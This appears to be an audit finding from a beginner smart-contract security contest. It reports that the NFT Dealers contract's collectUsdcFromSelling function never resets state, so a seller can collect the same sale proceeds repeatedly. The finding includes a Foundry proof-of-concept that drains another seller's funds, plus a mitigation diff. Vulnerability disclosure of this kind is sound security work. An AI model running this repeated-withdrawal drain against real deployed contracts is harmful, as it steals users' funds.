NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling` lacks state reset, allowing seller to drain all contract USDC via repeated calls

Author Revealed upon completion

Root + Impact

Description

collectUsdcFromSelling pays the seller their sale proceeds plus minting collateral but never zeros out s_listings[_listingId].price or collateralForMinting[listing.tokenId]. Since buy() only sets isActive = false, the seller can call collectUsdcFromSelling repeatedly — each call passes the require(!listing.isActive) guard and transfers the full amount again.

Three compounding bugs in one function:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // @> BUG 1: contract pays itself — no-op
usdc.safeTransfer(msg.sender, amountToSeller); // @> BUG 2: price and collateral never zeroed — callable again
}

  1. No state reset — s_listings[_listingId].price and collateralForMinting[listing.tokenId] remain intact. Every subsequent call computes the same amountToSeller and transfers it again.

  2. Fee self-transfer — usdc.safeTransfer(address(this), fees) moves tokens from the contract to itself, a no-op. Fees are never separated.

  3. Phantom fee counter — totalFeesCollected increments on every call but the USDC backing those "fees" was never isolated. withdrawFees() competes with sellers for the same depleting pool.

Risk

Likelihood:

  • This will occur every time a seller calls collectUsdcFromSelling more than once after their NFT is sold, because there is zero state change preventing re-collection

  • No special setup required — any whitelisted user who sells an NFT can exploit this immediately

Impact:

  • A single malicious seller drains the entire USDC balance of the contract by calling collectUsdcFromSelling in a loop

  • Steals other sellers' uncollected sale proceeds, all minters' locked collateral (20 USDC each), and the owner's accumulated protocol fees

  • Victim sellers who call collectUsdcFromSelling afterward face a revert (insufficient balance)

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
​
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
contract MockUSDC is ERC20 {
constructor() ERC20("USD Coin", "USDC") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
function decimals() public pure override returns (uint8) { return 6; }
}
​
contract CollectDrainTest is Test {
NFTDealers dealers;
MockUSDC usdc;
​
address owner = makeAddr("owner");
address alice = makeAddr("alice"); // attacker
address bob = makeAddr("bob"); // victim seller
address buyer1 = makeAddr("buyer1");
address buyer2 = makeAddr("buyer2");
​
uint256 constant LOCK = 20e6; // 20 USDC collateral
uint32 constant PRICE = 100e6; // 100 USDC listing price
​
function setUp() public {
usdc = new MockUSDC();
dealers = new NFTDealers(owner, address(usdc), "Dealers", "DEAL", "ipfs://", LOCK);
​
vm.startPrank(owner);
dealers.revealCollection();
dealers.whitelistWallet(alice);
dealers.whitelistWallet(bob);
vm.stopPrank();
​
address[4] memory users = [alice, bob, buyer1, buyer2];
for (uint256 i; i < users.length; i++) {
usdc.mint(users[i], 500e6);
vm.prank(users[i]);
usdc.approve(address(dealers), type(uint256).max);
}
}
​
function test_repeatedCollectDrainsContract() public {
// Setup: two sellers each mint and list an NFT
vm.startPrank(alice);
dealers.mintNft(); // tokenId 1, locks 20 USDC
dealers.list(1, PRICE); // lists for 100 USDC
vm.stopPrank();
​
vm.startPrank(bob);
dealers.mintNft(); // tokenId 2, locks 20 USDC
dealers.list(2, PRICE);
vm.stopPrank();
​
// Both NFTs are purchased
vm.prank(buyer1);
dealers.buy(1); // 100 USDC into contract
vm.prank(buyer2);
dealers.buy(2); // 100 USDC into contract
​
// Contract holds: 2 x (20 collateral + 100 price) = 240 USDC
assertEq(usdc.balanceOf(address(dealers)), 240e6);
​
uint256 aliceBefore = usdc.balanceOf(alice);
​
// ATTACK: Alice collects from the same listing TWICE
vm.startPrank(alice);
dealers.collectUsdcFromSelling(1); // legitimate: 99 + 20 = 119 USDC
dealers.collectUsdcFromSelling(1); // illegitimate: 119 USDC AGAIN
vm.stopPrank();
​
uint256 aliceProfit = usdc.balanceOf(alice) - aliceBefore;
assertEq(aliceProfit, 238e6, "attacker drained 238 USDC");
​
// Only 2 USDC remain in the contract
assertEq(usdc.balanceOf(address(dealers)), 2e6);
​
// Bob's legitimate collect reverts — his funds were stolen
vm.prank(bob);
vm.expectRevert();
dealers.collectUsdcFromSelling(2);
}
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.price > 0, "Already collected");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+
+ s_listings[_listingId].price = 0;
+ collateralForMinting[listing.tokenId] = 0;
+
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!